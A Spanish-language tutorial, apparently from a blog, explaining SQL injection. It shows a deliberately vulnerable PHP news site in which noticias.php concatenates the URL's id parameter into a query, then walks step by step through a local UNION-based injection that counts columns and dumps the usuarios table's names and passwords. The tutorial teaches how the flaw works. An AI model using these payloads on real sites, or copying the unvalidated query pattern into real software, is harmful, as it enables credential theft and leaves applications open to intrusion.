Primero vamos a explicar que es SQL Injection, es una vulnerabilidad en el acceso a la información de la base de datos desde el código de un programa.
El origen es la no validación de los datos que provienen externamente al programa, es decir, cuando yo ingreso un usuario y contraseña para acceder a determinado sistema estoy ingresando datos al sistema, esos datos, en general, se validarán contra la base de datos. Sí los datos ingresados no son validados correctamente antes de llegar a la base de datos la vulnerabilidad esta latente para que cualquiera pueda explotarla.
Otro ejemplo puede darse cuando hay parametros que se envian a través de la url (GET) y éstos no son validados correctamente antes de llegar a la base de datos.
Primero haremos una descripción de las tablas y luego del código que accederá a ellas
Aquí la descripción de las tablas en la base de datos.
Tabla noticias

Tabla usuarios

Y aquí mostraremos los archivos involucrados para tomar la información de la DB
<?php
//index.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias ORDER BY id DESC LIMIT 10"; // La última noticia arriba
$resourse = mysql_query($sql, $link);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.titulo a:link, a:visited {text-decoration: none; color:#000000; font-size: 25px;}
.titulo a:hover {text-decoration: underline; color:red;}
.copete {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online</h1>
<?php
while ($data = mysql_fetch_assoc($resourse)) {
echo '<div class="titulo"><a href="noticias.php?id='.$data['id'].'">'.$data['titulo'].'</a></div>';
echo '<div class="copete">'.$data['copete'].'</div>';
echo '<hr />';
}
?>
</body>
</html>
<?php
//noticias.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias WHERE id = " . $_GET['id']; //Traigo la noticia con el id de la URL
$resourse = mysql_query($sql, $link);
$data = mysql_fetch_assoc($resourse);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.descripcion {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online || <?php echo $data['titulo'];?></h1>
<?php
echo '<div class="descripcion">'.$data['descripcion'].'</div>';
echo '<hr />';
?>
<a href="index.php">Volver</a>
</body>
</html>
<?php
//conexion.php
$host = "localhost";
$user = "root";
$pass = "";
$db = "diarioonline";
$link = mysql_pconnect($host, $user, $pass);
mysql_select_db($db, $link);
?>
Bueno, la vulnerabilidad a explotar se encuentra sobre el archivo noticias.php
Tengo el proyecto diarioonline corriendo en http://localhost/diarioonline/
Primero, vamos a navegar la siguiente URL http://localhost/diarioonline/noticias.php?id=3
Si miramos esta url vemos que pasa el parametro id=3 y en el código él no está validado correctamente.
Hasta aquí nada fuera de lo normal, la página tiene el funcionamiento esperado por el desarrollador de DiarioOnline.
Para realizar una prueba rápida lo que podemos hacer es navegar la siguiente URL
http://localhost/diarioonline/noticias.php?id=(select 3)
Ahí ya estaremos cambiando la url por la deseada por nosotros, si la página continua su funcionamiento correctamente quiere decir que hemos injectado código SQL al programa, es decir la consultaría quedaría así.
SELECT * FROM noticias WHERE id = (SELECT 3)
Ahora como ya sabemos que el parametro id no tiene validación, nuestro próximo paso será saber cuando columnas trae la consulta original, con la ayuda de UNION y mediante prueba y error lo conseguiremos.
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1
Esto nos prodicará un error similar a este:
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in C:\xampp\htdocs\diarioonline\noticias.php on line 5
Esto es por que UNION nos pide la misma cantidad de columnas por cada SELECT, entonces probaremos y probaremos hasta evitar el error y saber cuantas columnas trae la consulta
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3,4 (EXITOSA)
SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,2,3,4
Hemos hecho un UNION exitoso con 4 campos pedidos en la segunda consulta, así que si deseamos hacer un UNION a otra tabla, debemos tener en cuenta que siempre debemos traer 4 campos si no la consulta nos devolverá un error.
Bueno, para realizar un UNION con otra tabla, debemos saber que tablas existen y los nombres de los campos, estos son visibles desde information_schema, en este ejemplo ya tenemos la estructura de la db así que no necesitamos ninguna información extra. Para conocer sobre los joins a information_schema visita este link.
El UNION lo realizaremos sobre la tabla usuarios.
http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios
SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios
Esta consulta otra vez será exitosa, pero seguiremos viendo la misma información por pantalla
Esto se debe a que el primer registro que devuelve la consulta es la noticia, aquí una muestra del resultado de la consuta

Lo unico que nos falta es invertir estos resultados para que en primer lugar aparezca lo que viene tras el UNION, esto lo haremos muy simple con ORDER BY
http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC
SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC
El resultado será ver los usuarios y contraseñas por pantalla.
Aquí los archivos para probarlo